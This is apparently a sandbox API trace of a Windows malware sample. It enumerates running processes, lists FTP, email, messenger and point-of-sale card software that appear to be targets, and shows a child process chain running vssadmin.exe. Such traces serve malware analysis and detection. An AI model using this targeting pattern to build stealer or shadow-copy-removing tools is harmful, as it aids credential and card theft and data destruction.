lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mouth tree.exe")) returned 1 [0073.165] lstrlenW (lpString="mouth tree.exe") returned 14 [0073.165] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x764, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="friday complete spiritual.exe")) returned 1 [0073.388] lstrlenW (lpString="friday complete spiritual.exe") returned 29 [0073.388] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thisul.exe")) returned 1 [0073.389] lstrlenW (lpString="thisul.exe") returned 10 [0073.389] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="adjacent-earlier.exe")) returned 1 [0073.391] lstrlenW (lpString="adjacent-earlier.exe") returned 20 [0073.391] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="tired grad keep.exe")) returned 1 [0073.393] lstrlenW (lpString="tired grad keep.exe") returned 19 [0073.393] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="basename_nested.exe")) returned 1 [0073.395] lstrlenW (lpString="basename_nested.exe") returned 19 [0073.395] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="reserves-pixel-minds.exe")) returned 1 [0073.396] lstrlenW (lpString="reserves-pixel-minds.exe") returned 24 [0073.397] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="securities-cpu-orange.exe")) returned 1 [0073.398] lstrlenW (lpString="securities-cpu-orange.exe") returned 25 [0073.398] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="exotic.exe")) returned 1 [0073.400] lstrlenW (lpString="exotic.exe") returned 10 [0073.400] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fisher arab disable.exe")) returned 1 [0073.401] lstrlenW (lpString="fisher arab disable.exe") returned 23 [0073.402] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="manufacture-mtv.exe")) returned 1 [0073.403] lstrlenW (lpString="manufacture-mtv.exe") returned 19 [0073.403] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="syndicaterssidentity.exe")) returned 1 [0073.405] lstrlenW (lpString="syndicaterssidentity.exe") returned 24 [0073.405] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="belfastcreationdeposit.exe")) returned 1 [0073.407] lstrlenW (lpString="belfastcreationdeposit.exe") returned 26 [0073.407] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patient.exe")) returned 1 [0073.409] lstrlenW (lpString="patient.exe") returned 11 [0073.409] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="corps.exe")) returned 1 [0073.410] lstrlenW (lpString="corps.exe") returned 9 [0073.411] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="inquire.exe")) returned 1 [0073.412] lstrlenW (lpString="inquire.exe") returned 11 [0073.412] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0073.414] lstrlenW (lpString="3dftp.exe") returned 9 [0073.414] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0073.416] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0073.416] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0073.418] lstrlenW (lpString="alftp.exe") returned 9 [0073.419] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0073.420] lstrlenW (lpString="barca.exe") returned 9 [0073.420] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0073.422] lstrlenW (lpString="bitkinex.exe") returned 12 [0073.422] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0073.423] lstrlenW (lpString="coreftp.exe") returned 11 [0073.424] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0073.425] lstrlenW (lpString="far.exe") returned 7 [0073.425] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0073.427] lstrlenW (lpString="filezilla.exe") returned 13 [0073.427] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0073.428] lstrlenW (lpString="flashfxp.exe") returned 12 [0073.429] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0073.430] lstrlenW (lpString="fling.exe") returned 9 [0073.430] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0073.431] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0073.698] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0073.700] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0073.700] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0073.702] lstrlenW (lpString="icq.exe") returned 7 [0073.702] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0073.705] lstrlenW (lpString="leechftp.exe") returned 12 [0073.705] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0073.707] lstrlenW (lpString="ncftp.exe") returned 9 [0073.707] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0073.709] lstrlenW (lpString="notepad.exe") returned 11 [0073.710] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0073.712] lstrlenW (lpString="operamail.exe") returned 13 [0073.712] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0073.715] lstrlenW (lpString="pidgin.exe") returned 10 [0073.715] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0073.717] lstrlenW (lpString="scriptftp.exe") returned 13 [0073.717] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0073.720] lstrlenW (lpString="skype.exe") returned 9 [0073.720] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0073.722] lstrlenW (lpString="smartftp.exe") returned 12 [0073.722] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0073.725] lstrlenW (lpString="thunderbird.exe") returned 15 [0073.725] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0073.727] lstrlenW (lpString="totalcmd.exe") returned 12 [0073.728] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0073.731] lstrlenW (lpString="trillian.exe") returned 12 [0073.731] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0073.733] lstrlenW (lpString="webdrive.exe") returned 12 [0073.734] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0073.736] lstrlenW (lpString="whatsapp.exe") returned 12 [0073.736] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0073.738] lstrlenW (lpString="winscp.exe") returned 10 [0073.738] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0073.742] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0073.742] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0074.170] lstrlenW (lpString="active-charge.exe") returned 17 [0074.171] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0074.173] lstrlenW (lpString="accupos.exe") returned 11 [0074.174] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0074.176] lstrlenW (lpString="afr38.exe") returned 9 [0074.176] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0074.178] lstrlenW (lpString="aldelo.exe") returned 10 [0074.178] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0074.180] lstrlenW (lpString="ccv_server.exe") returned 14 [0074.182] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0074.184] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0074.184] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0074.186] lstrlenW (lpString="creditservice.exe") returned 17 [0074.186] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0074.188] lstrlenW (lpString="edcsvr.exe") returned 10 [0074.188] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0074.190] lstrlenW (lpString="fpos.exe") returned 8 [0074.190] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0074.192] lstrlenW (lpString="isspos.exe") returned 10 [0074.192] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0074.194] lstrlenW (lpString="mxslipstream.exe") returned 16 [0074.194] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0074.196] lstrlenW (lpString="omnipos.exe") returned 11 [0074.196] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0074.198] lstrlenW (lpString="spcwin.exe") returned 10 [0074.199] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0074.200] lstrlenW (lpString="spgagentservice.exe") returned 19 [0074.201] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0074.202] lstrlenW (lpString="utg2.exe") returned 8 [0074.203] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="amsterdam.exe")) returned 1 [0074.204] lstrlenW (lpString="amsterdam.exe") returned 13 [0074.204] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="targetannounce.exe")) returned 1 [0074.206] lstrlenW (lpString="targetannounce.exe") returned 18 [0074.206] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="managed-davis.exe")) returned 1 [0074.208] lstrlenW (lpString="managed-davis.exe") returned 17 [0074.208] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="discretion_revenue.exe")) returned 1 [0074.328] lstrlenW (lpString="discretion_revenue.exe") returned 22 [0074.329] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lawyer_canada_wma.exe")) returned 1 [0074.331] lstrlenW (lpString="lawyer_canada_wma.exe") returned 21 [0074.331] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0074.333] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0074.333] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0074.335] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0074.335] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0074.339] lstrlenW (lpString="winhost.exe") returned 11 [0074.339] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x990, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xac0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0074.340] lstrlenW (lpString="cmd.exe") returned 7 [0074.341] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0074.342] lstrlenW (lpString="conhost.exe") returned 11 [0074.342] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x990, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0074.344] lstrlenW (lpString="vssadmin.exe") returned 12 [0074.344] Process32NextW (in: hSnapshot=0x210, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x990, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0074.345] CloseHandle (hObject=0x210) returned 1 [0074.345] Sleep (dwMilliseconds=0x1f4) [0075.198] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x514d48 